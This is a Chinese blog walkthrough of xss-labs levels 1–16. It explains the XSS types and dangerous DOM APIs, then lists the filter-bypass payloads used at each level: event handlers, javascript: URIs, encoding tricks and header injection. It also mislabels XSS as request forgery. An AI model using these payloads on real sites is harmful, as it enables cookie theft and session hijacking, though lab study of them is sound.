xss-labs靶场通关详解1-16
后边的关卡原理还没学...
前置
xss叫跨站请求伪造
1 xss产生原因
站点对用户参数可控的位置没有进行严格校验。导致用户构造的恶意js代码能被解析(前端/后端)。
2 xss产生的危害
2.1窃取用户cookie
2.2钓鱼进行窃取用户账号/密码
2.3会话劫持(包含窃取cookie)
3 防范方法
3.1用户输入严格校验
3.2对输出内容进行html实体化编码(输出之后不会被浏览器解析)
3.3cookie添加httponly
httponly:js代码不允许访问/修改cookie内容
4漏洞分类
xss就是要寻找:参数可控的位置,输入之后,回显到页面的。都可以测
4.1 反射型xss
4.1.1攻击流程
攻击者构造带有恶意js代码的url,诱导受害者进行点击(这里受害者点击之后进行前后端的交互),取出带有恶意js代码url的资源,浏览器渲染解析。造成漏洞触发
4.1.2触发条件
受害者点击了攻击者构造的url
受害者浏览器解析了返回的资源(禁止浏览器解析js代码就不会解析)
4.2 存储型xss
攻击者在参数可控的位置,构造恶意js代码,执行之后存入了数据库。其他用户在引用恶意页面时,造成漏洞触发
攻击者利用的页面存入恶意代码之后,受害者点击了恶意的页面。
底层执行了受害者向后端请求,后端带着从数据库请求来的数据,返回到前端,在受害者浏览器进行解析的过程。
4.3 dom型xss
4.3.1dom是个啥东西
举例子:原始html页面
<!DOCTYPE html>
<html>
<body>
<div id="content">Hello</div>
</body>
</html>
那在浏览器解析之后会生成dom树结构
文档(document)
└── html
├── head(省略)
└── body
└── div(id="content",内容="Hello")
然后js代码可以通过一些接口对dom树结构内容进行修改和访问
ai生成的常见接口。帮助理解一下
1. 访问 / 读取 DOM 节点(基础,为修改做准备)
这类接口用于定位、读取 DOM 节点,是修改的前提,本身无风险,但搭配写入接口就可能触发 XSS:
表格
| 接口 | 功能说明 | 示例 |
|---|---|---|
document.getElementById(id) | 通过 ID 定位单个节点(最常用) | var box = document.getElementById("content"); |
document.querySelector(selector) | 通过 CSS 选择器定位单个节点(灵活) | var link = document.querySelector("a"); |
document.querySelectorAll(selector) | 定位多个节点(返回数组) | var divs = document.querySelectorAll(".item"); |
document.getElementsByTagName(tag) | 通过标签名定位(如 div、script) | var imgs = document.getElementsByTagName("img"); |
element.childNodes/element.children | 读取节点的子节点 | var child = box.children[0]; |
location系列(高频!) | 读取 URL 可控数据(XSS 核心数据源) | location.search(URL 参数)、location.hash(# 后内容)、location.href(完整 URL) |
2. 修改 / 写入 DOM 内容 / 属性(XSS 高危!)
这类接口直接修改 DOM 节点的内容或属性,用户可控数据未过滤时,100% 触发 XSS,是 DOM 型 XSS 的核心漏洞点:
表格
| 接口 / 属性 | 高危程度 | 功能说明 | XSS 风险场景 |
|---|---|---|---|
element.innerHTML | ⭐⭐⭐⭐⭐ | 修改节点的 HTML 内容(解析标签,最高危) | box.innerHTML = location.search; → 插入<script>直接执行 |
element.outerHTML | ⭐⭐⭐⭐⭐ | 修改节点自身 + 内部 HTML(比 innerHTML 范围大) | box.outerHTML = "<div>" + input + "</div>"; |
element.innerText | ⭐(低) | 修改文本内容(不解析标签,安全) | 仅显示文本,无法执行脚本 |
element.textContent | ⭐(低) | 同 innerText(标准化版本) | 替代 innerHTML 的安全方案 |
element.setAttribute(attr, value) | ⭐⭐⭐⭐ | 设置节点属性(href/src 等) | a.setAttribute("href", location.hash); → 插入javascript:alert(1) |
element[attr] | ⭐⭐⭐⭐ | 直接修改属性(简写形式) | img.src = input; → 插入javascript:alert(1) 或 xss.jpg onerror=alert(1) |
document.cookie | ⭐⭐⭐⭐ | 读取 / 修改 Cookie(XSS 窃取 Cookie 核心) | alert(document.cookie) → 窃取 SessionID |
重点提醒:
innerHTML/outerHTML是 DOM 型 XSS 最常见的漏洞点(解析 HTML 标签);href/src/onclick等属性修改,可插入javascript:伪协议或事件触发脚本(如onerror/onload)。
3. 创建 / 插入 DOM 节点(间接修改,高危)
先创建新节点,再插入到 DOM 树中,用户可控数据传入创建环节时,同样触发 XSS:
表格
| 接口 | 高危程度 | 功能说明 | XSS 风险场景 |
|---|---|---|---|
document.createElement(tag) | ⭐⭐⭐⭐ | 创建新 DOM 节点 | var script = document.createElement("script"); script.src = "恶意脚本地址"; |
element.appendChild(node) | ⭐⭐⭐⭐ | 把新节点插入到父节点末尾 | box.appendChild(script); → 执行恶意脚本 |
element.insertBefore(new, old) | ⭐⭐⭐⭐ | 插入到指定节点前 | 同 appendChild,仅位置不同 |
document.write()/document.writeln() | ⭐⭐⭐⭐⭐ | 直接写入 HTML 到文档流(极高危) | document.write(input); → 插入<script>直接执行 |
DOM 型 XSS 高频漏洞组合
实际漏洞中,常是「读取可控数据 + 写入 DOM」的组合,比如:
// 组合1:URL参数 + innerHTML(最常见)
var keyword = location.search.split("=")[1];
document.getElementById("search-result").innerHTML = keyword;// 组合2:URL hash + href属性
var url = location.hash.slice(1);
document.querySelector("a").href = url; // 插入javascript:alert(1)// 组合3:本地存储 + createElement + appendChild
var content = localStorage.getItem("user_content");
var div = document.createElement("div");
div.innerHTML = content; // 插入恶意脚本
document.body.appendChild(div);
4.3.2攻击流程
攻击者构造含有恶意js的url,发给受害者并诱导点击。受害者点击藏有恶意js的按钮(比如提交...之类的)。造成漏洞触发
需要注意的是,攻击过程并没有后端参与
4.4三种类型区别
| xss类型 | 反射 | 存储 | dom |
| 数据存储位置 | get/post参数中 | 数据库中 | get/post参数/表单 |
| 谁来输出 | 后端 | 后端 | 前端 |
| 输出位置 | http响应里 | http响应里 | js代码动态生成的地方 |
5利用js代码的方式
5.1标签法
5.1.1
被俩标签引住的代码
<script>js代码</script>
5.1.2
相对路径/超链接
<script src='target.js'></script>
<script src="https://unpkg.com/vue@3/dist/vue.global.js"></script>
5.2事件法
以下,用户在点击修改/还原按钮时,图片会从eg_smile.gif改为/i/porsche.jpg
<!DOCTYPE html>
<html>
<body>
<img id="image" src="/i/eg_smile.gif" />
<input type="button" οnclick=change() value="修改"/>
<!-- 当用户点击按钮时,触发js,修改图片的路径 -->
<input type="button" οnclick=back() value="还原"/>
<!-- 当用户点击按钮时,触发js,修改图片的路径 -->
<script>
// 点击 修改 时调用的js代码
function change(){
document.getElementById("image").src = "/i/porsche.jpg";
}
// 点击 还原 时调用的js代码
function back(){
document.getElementById("image").src = "/i/eg_smile.gif";
}
</script>
</body>
</html>
常用事件
onerror | 资源加载失败(如 img/src 错误) | <img src=x onerror=alert(document.cookie)> | img/script/iframe |
onpageshow | 页面显示(包括刷新 / 后退) | <body onpageshow=eval(atob('YWxlcnQoMSk='))> | body |
onDOMContentLoaded | DOM 加载完成 | <script>document.addEventListener('DOMContentLoaded',()=>alert(1))</script> | 全局 |
onclick | 点击元素 | <a href="#" onclick=alert(1)>点击领取红包</a> | a/button/div |
onmouseover | 鼠标划过元素 | <div onmouseover=alert(1)>悬浮查看详情</div> | 所有元素 |
onfocus | 元素获取焦点(如输入框) | <input type="text" onfocus=alert(1) autofocus> | input/textarea |
onkeydown | 按下键盘按键 | <input onkeydown=alert(1)> | input/body |
5.3协议法
伪协议原理就是浏览器检测到协议关键词之后,协议后填充的东西会被当成代码执行
重点关注两种
javascript/data:
<a href="javascript:alert(1)"></a>
<script src="data:text/javascript,<script>alert(1)</script>"></sciprt>
<a href="data:text/html,<script>alert('XSS')</script>">点击我</a>
href/src的区别是:href是链接/src是嵌入页面
xss-labs
level1
<script>alert(1)</script>

level2
这里还是照常输入之后,发现ctrl+u查看源代码之后发现<>被转义了

看到value这里没有被转义,尝试闭合一下
"><script>alert(1)</script>

level3
都被转义了

看到者value是'闭合的,尝试一下,发现value里的也被转义
'><script>alert(1)</script>

事件绕过试一下。这里为啥没写<>因为反正被转义了没啥用,直接去掉,鼠标移动到图片上就过了
' οnmοuseοver=alert(1) '

level4
这直接转义+去掉<>

尝试事件
" οnmοuseοver=alert(1) "
划拉几下鼠标发现过了

level5

试了一下双写和大小写都不行
尝试事件,on也被转义,关键词都被填充了_,导致解析不了
尝试伪协议
"><a href=javascript:alert(1)>1</a><"

level6

还是script/on大小写被过滤
href大小写替换没被识别
"><a hREf=javascript:alert(1)>1</a><"

level7
还是常规尝试,发现script/on大小写都被替换为空
双写发现过了

level8
发现是script->scr_ipt这种类型的
这里让添加超链接,尝试双写javascript

发现也不行,但这里href可以识别编码的unicode,尝试一下
javascript:alert(1)

level9
看了眼代码发现需要有http://,要不就被拦截了

javascript:alert(1)//http://www.baidu.com
编码之后发现还是不行,单独把javascript编码之后过了
javascript:alert(1)//http://www.baidu.com
level10
'' ' >< script onclick 测一遍
发现script和on都被转移,这里还是利用href的


只有<>被转移,返现隐藏输入框子测试一下参数
测一下那个可以显示出来,就是可以执行xss
t_link=" type='text'>//&t_history=" type='text'>//&t_sort=" type='text'>
&t_sort=" type='text' οnclick='javascript:alert(1)'>//

level11
ctrl+u看一眼,发现有前一关的url,尝试一下
直接抓11关的包,把referer字段粘进去
Referer: " type='text' οnclick=javascript:alert(1)

level12

ua注入一下
Referer: " type='text' οnclick=javascript:alert(1)

level13

多了个cook,试下cookie

level14
关卡坏了,之前的关卡。
大概原理就是:
页面引用了叫exif.js的东西,可以读取图的元数据(如拍摄设备、注释、GPS 等),且没过滤直接进行拼接。
有一个上传按钮,可以上传图,用的一个可以读取图的元数据的函数,就是allmetadata这个函数,然后读取元数据之后,直接通过inner插入到html里。
// 读取图片EXIF信息并渲染
function showExif() {
var img = document.getElementById('img');
EXIF.getData(img, function() {
var allMetaData = EXIF.getAllTags(this);
var html = "";
for (var key in allMetaData) {
// 直接拼接数据到HTML,无过滤
html += key + ": " + allMetaData[key] + "<br>";
}
document.getElementById('exif').innerHTML = html;
});
}
在修改图元数据之后,找到 “注释”/“描述” 类字段,输入 Payload:<script>alert(1)</script>。
上传之后触发漏洞。
level15
发现一个叫ng-include的东西

搜了一下这个东西相当于前端的include,作用是在当前页面动态嵌入/加载html页面
注意:
1.ng-include,如果单纯指定地址,必须要加引号
2.ng-include,加载外部html,script标签中的内容不执行
构造一下payload。替换成本地ip就可以了
?src='XXX/xss-labs/level1.php?name=<img src=111 οnerrοr=javascript:alert()> '

level16
过滤了空格和script

尝试标签,空格用编码绕过
<a οnclick='alert(1)'>
<a%0dοnclick='alert(1)'>

更多推荐


所有评论(0)